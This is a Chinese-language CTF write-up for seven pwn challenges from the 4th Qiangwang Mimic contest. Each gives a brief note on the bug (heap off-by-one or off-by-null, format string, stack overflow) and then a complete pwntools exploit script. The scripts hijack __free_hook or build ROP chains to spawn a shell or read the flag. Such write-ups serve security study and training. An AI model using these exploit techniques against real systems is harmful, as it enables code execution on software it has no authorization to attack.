第四届强网拟态赛

bitflip

edit函数中存在off-by-one漏洞,版本glibc-2.27

add函数将malloc的size限制在了0x50内,不过可以通过off-by-one修改下一个chunk的size实现堆叠,进而释放0x410以上大小的堆,拿到libc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#coding:utf-8

# from libformatstr import FormatStr
# py64 = FormatStr(isx64=1)
# py64[printf_got] = onegadget
# sl(py64.payload(start_read_offset))
from pwn import *
import sys

local = 1
context.terminal=['tmux','splitw','-h']
if len(sys.argv) == 2 and (sys.argv[1] == 'DEBUG' or sys.argv[1] == 'debug'):
context.log_level = 'debug'

if local:
p = process('./bitflip')
elf = ELF('./bitflip')
libc = elf.libc
else:
p = remote("")

#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202160)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
sl = lambda s :p.sendline(s)
ru = lambda s :p.recvuntil(s)
sda = lambda a,s :p.sendafter(a,s)
sla = lambda a,s :p.sendlineafter(a,s)

def leak(name,addr):
log.info(name + " --> %s",hex(addr))

def choice(idx):
sla("choice: ",str(idx))

def add(idx,size):
choice(1)
sla("Index: ",str(idx))
sla("Size: ",str(size))

def edit(idx,data):
choice(2)
sla("Index: ",str(idx))
sda("Content: ",data)

def show(idx):
choice(3)
sla("Index: ",str(idx))

def delete(idx):
choice(4)
sla("Index: ",str(idx))

# leak heap
add(0,0x18)
add(1,0x18)
delete(0)
delete(1)
add(0,0x18)
add(1,0x18)
show(0)
ru("Content: ")
heap_base = u64(ru('\n')[:-1].ljust(8,'\x00')) - 0x260
leak("heap_base",heap_base)

add(2,0x18)
add(3,0x18)
for i in range(13): #4-16
add(i+4,0x50)
edit(2,0x18*'\x00' + '\x61')
delete(3)
add(3,0x50)
edit(3,0x18*'\x00' + p64(0x481) + '\n')
delete(4)
add(4,0x18)
show(4)
ru("Content: ")
libs_base = u64(ru('\n')[:-1].ljust(8,'\x00')) - 1136 - 0x10 - libc.sym['__malloc_hook']
free_hook = libs_base + libc.sym['__free_hook']
system = libs_base + libc.sym['system']
leak("libs_base",libs_base)


add(17,0x18)
add(18,0x18)
add(19,0x18)
add(20,0x18)
edit(17,0x18*'\x00' + '\x41')
delete(18)
delete(19)
add(18,0x38)
edit(18,0x18*'\x00' + p64(0x21) + p64(free_hook) + '\n')
add(19,0x18)
add(21,0x18)
edit(19,'/bin/sh\x00\n')
edit(21,p64(system) + '\n')
delete(19)
# debug()

p.interactive()

bornote

自己实现的输入函数存在off-by-null漏洞,版本glibc-2.31

先通过show函数泄漏heap和libc

之后通过off-by-null实现unlink,注意高版本的unlink会对pre_size进行检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
#coding:utf-8

# from libformatstr import FormatStr
# py64 = FormatStr(isx64=1)
# py64[printf_got] = onegadget
# sl(py64.payload(start_read_offset))
from pwn import *
import sys

local = 1
# context.terminal=['tmux','splitw','-h']
if len(sys.argv) == 2 and (sys.argv[1] == 'DEBUG' or sys.argv[1] == 'debug'):
context.log_level = 'debug'

if local:
p = process('./bornote')
# elf = ELF('./bornote')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote("")

#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print ("breakpoint_addr --> " + hex(text_base + 0x202040))
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
sl = lambda s :p.sendline(s)
ru = lambda s :p.recvuntil(s)
sda = lambda a,s :p.sendafter(a,s)
sla = lambda a,s :p.sendlineafter(a,s)

def leak(name,addr):
log.info(name + " --> %s",hex(addr))

def init():
sla("username: ","rabbit")
def choice(idx):
sla("cmd: ",str(idx))
def add(size):
choice(1)
sla("Size: ",str(size))
def delete(idx):
choice(2)
sla("Index: ",str(idx))
def edit(idx,data):
choice(3)
sla("Index: ",str(idx))
sda("Note: ",data)
def show(idx):
choice(4)
sla("Index: ",str(idx))

init()
# leak libc
add(0x440)
add(0x440)
delete(0)
add(0x440)
show(0)
ru("Note: ")
libc_base = u64(rc(6).ljust(8,b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
delete(0)
delete(1)
leak("libc_base",libc_base)
leak("free_hook",free_hook)
leak("system",system)

add(0x68) #0
add(0x68) #1
add(0x18) #2
add(0x4f8) #3
add(0x68) #4
add(0x68) #5

# leak heap
delete(1)
delete(0)
add(0x68) #0
add(0x68) #1
show(0)
ru("Note: ")
heap_base = u64(rc(6).ljust(8,b'\x00')) - 0x80
leak("heap_base",heap_base)

edit(2,0x10*b'a' + p64(0x70*2+0x10))
edit(0,p64(0) + p64(0x70*2+0x11) + p64(heap_base + 0x10)*2 + b'\n')
delete(3)
delete(4)
delete(1)
add(0xd8) #1
edit(1,0x50*b'a' + p64(0) + p64(0x71) + p64(free_hook) + b'\n')
add(0x68) #3
add(0x68) #4 free_hook
edit(3,"/bin/sh\x00\n")
edit(4,p64(system) + b'\n')
delete(3)

# debug()

p.interactive()

old_school

edit中很明显的off-by-one,版本glibc-2.27

不考虑unlink,直接伪造size实现堆叠

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
#coding:utf-8

# from libformatstr import FormatStr
# py64 = FormatStr(isx64=1)
# py64[printf_got] = onegadget
# sl(py64.payload(start_read_offset))
from pwn import *
import sys

local = 1
context.terminal=['tmux','splitw','-h']
if len(sys.argv) == 2 and (sys.argv[1] == 'DEBUG' or sys.argv[1] == 'debug'):
context.log_level = 'debug'

if local:
p = process('./old_school')
elf = ELF('./old_school')
libc = elf.libc
else:
p = remote("")

#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202040)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
sl = lambda s :p.sendline(s)
ru = lambda s :p.recvuntil(s)
sda = lambda a,s :p.sendafter(a,s)
sla = lambda a,s :p.sendlineafter(a,s)

def leak(name,addr):
log.info(name + " --> %s",hex(addr))

def choice(idx):
sla(": ",str(idx))

def add(idx,size):
choice(1)
sla("Index: ",str(idx))
sla("Size: ",str(size))

def edit(idx,data):
choice(2)
sla("Index: ",str(idx))
sda("Content: ",data)

def show(idx):
choice(3)
sla("Index: ",str(idx))

def delete(idx):
choice(4)
sla("Index: ",str(idx))


# leak
for i in range(9):
add(i,0xf8)
for i in range(8):
delete(i)
for i in range(7):
add(i,0xf8)

add(7,0x8)
show(0)
ru("Content: ")
heap_base = u64(rc(6).ljust(8,'\x00')) - 0x760
show(7)
ru("Content: ")
libc_base = u64(rc(6).ljust(8,'\x00')) - 336 - 0x10 - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
system = libc_base + libc.sym['system']
leak("heap_base",heap_base)
leak("libc_base",libc_base)
# 0x555555602160--chunk
# 0x555555602060--size

add(0x1f,0xd8)
add(9,0x18)
add(10,0x68)
add(11,0x68)
add(12,0x18)
edit(9,'\x00'*0x18 + '\xe1')
delete(10)
delete(11)
add(10,0xd8)
edit(10,0x60*'\x00' + p64(0) + p64(0x71) + p64(free_hook) + '\n')

add(11,0x68)
add(13,0x68)
edit(13,p64(system) + '\n')
edit(11,'/bin/sh\x00' + '\n')
delete(11)
# debug()

p.interactive()

old_school_revenge

将old_school的off-by-one改成off-by-null,版本glibc-2.27

unlink,低版本,不需要考虑pre_size问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
#coding:utf-8

# from libformatstr import FormatStr
# py64 = FormatStr(isx64=1)
# py64[printf_got] = onegadget
# sl(py64.payload(start_read_offset))
from pwn import *
import sys

local = 1
context.terminal=['tmux','splitw','-h']
if len(sys.argv) == 2 and (sys.argv[1] == 'DEBUG' or sys.argv[1] == 'debug'):
context.log_level = 'debug'

if local:
p = process('./old_school_revenge')
elf = ELF('./old_school_revenge')
libc = elf.libc
else:
p = remote("")

#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print ("breakpoint_addr --> " + hex(text_base + 0x202160))
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
sl = lambda s :p.sendline(s)
ru = lambda s :p.recvuntil(s)
sda = lambda a,s :p.sendafter(a,s)
sla = lambda a,s :p.sendlineafter(a,s)

def leak(name,addr):
log.info(name + " --> %s",hex(addr))

def choice(idx):
sla(": ",str(idx))

def add(idx,size):
choice(1)
sla("Index: ",str(idx))
sla("Size: ",str(size))

def edit(idx,data):
choice(2)
sla("Index: ",str(idx))
sda("Content: ",data)

def show(idx):
choice(3)
sla("Index: ",str(idx))

def delete(idx):
choice(4)
sla("Index: ",str(idx))

for i in range(7):
add(i,0xf8) #0-6
add(7,0xf8)
add(8,0x68)
add(9,0xf8)
add(10,0x68)
for i in range(7):
delete(i)

delete(7)
delete(8)
add(8,0x68)
edit(8,0x60*'\x00' + p64(0x170))
delete(9)#unlink
for i in range(7):
add(i,0xf8)

add(7,0xf8)
add(9,0x68) #=10
add(11,0xf8)
show(8) #-704
ru("Content: ")
main_arena = u64(rc(6).ljust(8,'\x00'))-96
libc_base = main_arena-0x10-libc.sym['__malloc_hook']
system = libc_base + libc.sym['system']
free_hook = libc_base + libc.sym['__free_hook']
leak("main_arena",main_arena)
delete(9)
edit(8,p64(free_hook) + '\n')
add(9,0x68)
add(12,0x68)
edit(12,p64(system) + '\n')
edit(9,"/bin/sh\x00\n")
delete(9)
# debug()

p.interactive()

pwnpwn

格式化字符串,给了system,也给了”/bin/sh”字符,也给了text地址,不过got表不可写

那就写main函数的返回地址,为p64(pop_rdi) + p64(binsh) + p64(system)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
#coding:utf-8

from libformatstr import FormatStr
# py64 = FormatStr(isx64=1)
# py64[printf_got] = onegadget
# sl(py64.payload(start_read_offset))
from pwn import *
import sys

local = 1
context.arch = 'amd64'
context.terminal=['tmux','splitw','-h']
if len(sys.argv) == 2 and (sys.argv[1] == 'DEBUG' or sys.argv[1] == 'debug'):
context.log_level = 'debug'

if local:
p = process('./pwnpwn')
else:
p = remote("")

#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print "breakpoint_addr --> " + hex(text_base + 0x202040)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
sl = lambda s :p.sendline(s)
ru = lambda s :p.recvuntil(s)
sda = lambda a,s :p.sendafter(a,s)
sla = lambda a,s :p.sendlineafter(a,s)

def leak(name,addr):
log.info(name + " --> %s",hex(addr))

sla("something\n",'1')
ru("trick\n")
text_base = int(ru('\n').strip(),16) - 0x9b9
leak("text_base",text_base)

sl('2')
pay = "%p-%3$p"
# debug(0xa07)
sla("hello\n",pay)
stack = int(ru('-')[:-1],16)
main_ret = stack + 0xa8
libc_base = int(ru('\n')[:-1],16) - 0xf7320
leak("main_ret",main_ret)
leak("libc_base",libc_base)
sl('R4bb1t-n0va')
sleep(0.1)

pop_rdi = text_base + 0xb83
binsh = text_base + 0x202010
system = text_base + 0x951
# leak("binsh",binsh)
leak("system",system)

def write(target,data):
pay = '%' + str(data) + 'c%10$hhn'
pay = pay.ljust(0x10,'A')
pay += p64(target)
return pay

# debug(0xa07)
sl('2')
pay = write(main_ret,pop_rdi&0xff) #0
sla('hello\n',pay)
sleep(0.1)
sl(write(main_ret+1,(pop_rdi&0xff00)>>8)) #1
sleep(0.1)

# debug(0xa07)
sl('2')
sla("hello\n",write(main_ret+2,(pop_rdi&0xff0000)>>16)) #2
sleep(1)
sl(write(main_ret+3,(pop_rdi&0xff000000)>>24)) #3
sleep(0.1)

# debug(0xa07)
sl('2')
sla("hello\n",write(main_ret+4,(pop_rdi&0xff00000000)>>32)) #4
sleep(0.1)
sl(write(main_ret+5,(pop_rdi&0xff0000000000)>>40)) #5
sleep(0.1)

sl('2')
sla("hello\n",write(main_ret+8,(binsh&0xff))) #0
sleep(0.1)
sl(write(main_ret+9,(binsh&0xff00)>>8)) #1
sleep(0.1)

sl('2')
sla("hello\n",write(main_ret+10,(binsh&0xff0000)>>16)) #2
sleep(0.1)
sl(write(main_ret+11,(binsh&0xff000000)>>24)) #3
sleep(0.1)

# debug(0xa07)
sl('2')
sla("hello\n",write(main_ret+12,(binsh&0xff00000000)>>32)) #4
sleep(0.1)
sl(write(main_ret+13,(binsh&0xff0000000000)>>40)) #5
sleep(0.1)

sl('2')
sla("hello\n",write(main_ret+0x10,(system&0xff))) #0
sleep(0.1)
sl(write(main_ret+0x11,(system&0xff00)>>8)) #1
sleep(0.1)

sl('2')
sla("hello\n",write(main_ret+0x12,(system&0xff0000)>>16)) #2
sleep(0.1)
sl(write(main_ret+0x13,(system&0xff000000)>>24)) #3
sleep(0.1)

# debug(0xa07)
sl('2')
sla("hello\n",write(main_ret+0x14,(system&0xff00000000)>>32)) #4
sleep(0.1)
# pause()
sl(write(main_ret+0x15,(system&0xff0000000000)>>40)) #5
sleep(0.1)
sl('3')
# debug()
p.interactive()

sonic

平平无奇栈溢出,没什么需要注意的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#coding:utf-8

# from libformatstr import FormatStr
# py64 = FormatStr(isx64=1)
# py64[printf_got] = onegadget
# sl(py64.payload(start_read_offset))
from pwn import *
import sys

local = 1
# context.terminal=['tmux','splitw','-h']
if len(sys.argv) == 2 and (sys.argv[1] == 'DEBUG' or sys.argv[1] == 'debug'):
context.log_level = 'debug'

if local:
p = process('./sonic')
# p = process(argv=['',pay])
# p = process(["./ld.so","./easygame"],env={"LD_PRELOAD":"./libc.so.6"})
else:
p = remote("")

#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print ("breakpoint_addr --> " + hex(text_base + 0x202040))
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
sl = lambda s :p.sendline(s)
ru = lambda s :p.recvuntil(s)
sda = lambda a,s :p.sendafter(a,s)
sla = lambda a,s :p.sendlineafter(a,s)

def leak(name,addr):
log.info(name + " --> %s",hex(addr))

ru("Address=")
main = int(ru('\n').strip(),16)
text_base = main - 0x7cf
leak("main",main)
pop_rdi = 0x00000000000008c3 + text_base
pop_rsi_r15 = 0x00000000000008c1 + text_base
binsh = 0x201040 + text_base

pay = b"/bin/sh\x00"
pay = pay.ljust(0x28,b'A')
pay += p64(pop_rdi) + p64(binsh) + p64(pop_rsi_r15) + p64(0)*2
pay += p64(text_base + 0x847)

# debug(0x7b9)
sl(pay)
p.interactive()

oldecho

格式化字符串,给了栈地址,但是关闭了输出[close(1)],且输入在bss段

虽然关闭了1,但是只要把stdout的fileno改为2即可重新输出。

观察栈内容没有发现stdout附近地址残留,但是在当前栈空间的上方存在stdout,但是上方的栈空间没法写

oldecho_1

所以先抬栈:

1、先返回一次main

2、再将返回地址修改成ret,滑到start函数

oldecho_2

再次回到格式化字符串位置时可以看到当前栈空间有stdout了

oldecho_3

利用栈上的栈指针修改fileno为2,泄漏libc,构造orw读取flag

存在一定的爆破,概率大概是几十分之一,不是很低

  • 题目环境为ubuntu16.04,(只能用桌面版,用docker 不行)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
#coding:utf-8

# from libformatstr import FormatStr
# py64 = FormatStr(isx64=1)
# py64[printf_got] = onegadget
# sl(py64.payload(start_read_offset))
from pwn import *
import sys

local = 1
# context.terminal=['tmux','splitw','-h']
if len(sys.argv) == 2 and (sys.argv[1] == 'DEBUG' or sys.argv[1] == 'debug'):
context.log_level = 'debug'

if local:
# p = process('./oldecho')
p = process(["./oldecho"],env={"LD_PRELOAD":"./libc.so.6"})
# elf = ELF('./oldecho')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
p = remote("")

#内存地址随机化
def debug(addr=0,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
print ("breakpoint_addr --> " + hex(text_base + 0x202040))
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))

sd = lambda s :p.send(s)
rc = lambda s :p.recv(s)
sl = lambda s :p.sendline(s)
ru = lambda s :p.recvuntil(s)
sda = lambda a,s :p.sendafter(a,s)
sla = lambda a,s :p.sendlineafter(a,s)

def leak(name,addr):
log.info(name + " --> %s",hex(addr))

def write(target,data):
for i in range(8):
pay = '%' + str((target+i)&0xff) + 'c%6$hhn'
sl(pay)
if (data>>(8*i))&0xff == 0:
pay = '%10$hhn'
else:
pay = '%' + str((data>>(8*i))&0xff) + 'c%10$hhn'
sl(pay)

def pwn(stack):
stdout_stack = stack - 0x80
# 指针1,offset=6
stack_1 = stack - 0x138
# 指针2,offset=10
stack_2 = stack - 0x118
# 抬栈
pay = '%' + str((stack-0x10)&0xff) + 'c%6$hhn'
sl(pay)
pay = '%' + str(0x40) + 'c%10$hhn'
sl(pay)
pay = '%' + str((stack-0x38)&0xff) + 'c%6$hhn'
sl(pay)
pay = '%' + str(0x3f) + 'c%10$hhn'
sl(pay)

# pay = '%' + str(stack_2&0xff) + 'c%6$hhn'
# sl(pay)
pay = '%' + str(stdout_stack&0xff) + 'c%15$hhn'
sl(pay)
pay = '%' + str(0x90) + 'c%41$hhn'
sl(pay)
pay = '%' + str(2) + 'c%29$hhn'
# debug(0xdbd)
sl(pay)
p.recv()
sl('rabbit')
sl('%7$p-%29$p-')
ru("rabbit")
text_base = int(ru('-')[:-1],16)-0xe1e
stdout = int(ru('-')[:-1],16)-112
libc_base = stdout - libc.sym['_IO_2_1_stdout_']
open_ = libc_base + libc.sym['open']
read_ = libc_base + libc.sym['read']
write_ = libc_base + libc.sym['write']
pop_rdi = libc_base + 0x0000000000021102
pop_rsi = libc_base + 0x00000000000202e8
pop_rdx = libc_base + 0x0000000000001b92
push_rsi = libc_base + 0x0000000000034bcf
free_hook = libc_base + libc.sym['__free_hook']
ret = libc_base + 0x0000000000000937
leave_ret = libc_base + 0x0000000000042351
ret_main = stack - 0x110
leak("stdout",stdout)
leak("ret_main",ret_main)
leak("pop_rdi",pop_rdi)
leak("stack-0x118",stack-0x118)
# debug(0xdbd)
# write(stack-0x118,free_hook)
write(ret_main,pop_rdi)
write(ret_main+8,0)
write(ret_main+0x10,pop_rsi)
write(ret_main+0x18,stack-0xe0)
write(ret_main+0x20,pop_rdx)
write(ret_main+0x28,0x100)
write(ret_main+0x30,read_)
write(ret_main+0x38,leave_ret)
# debug(0xdbd)
# 29,43
# write(stack-0x118,free_hook)
# debug(0xdbd)
sl('Bye~')

pay = 'flag' + '\x00'*4
pay += p64(pop_rdi) + p64(stack-0xe0) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(open_)
pay += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(free_hook + 0x100) + p64(pop_rdx) + p64(0x20) + p64(read_)
pay += p64(pop_rdi) + p64(2) + p64(write_)
pause()
sl(pay)

'''
pay = '%' + str(stdout_stack&0xff) + 'c%6$hhn'
sl(pay)
pay = '%' + str(0x90) + 'c%10$hhn'
sl(pay)
pay = '%' + str(2) + 'c%29$hhn'
sl(pay)
'''

p.interactive()

ru("Gift: ")
stack = int(ru('\n')[:-1],16)
leak("stack",stack)
pwn(stack)
0%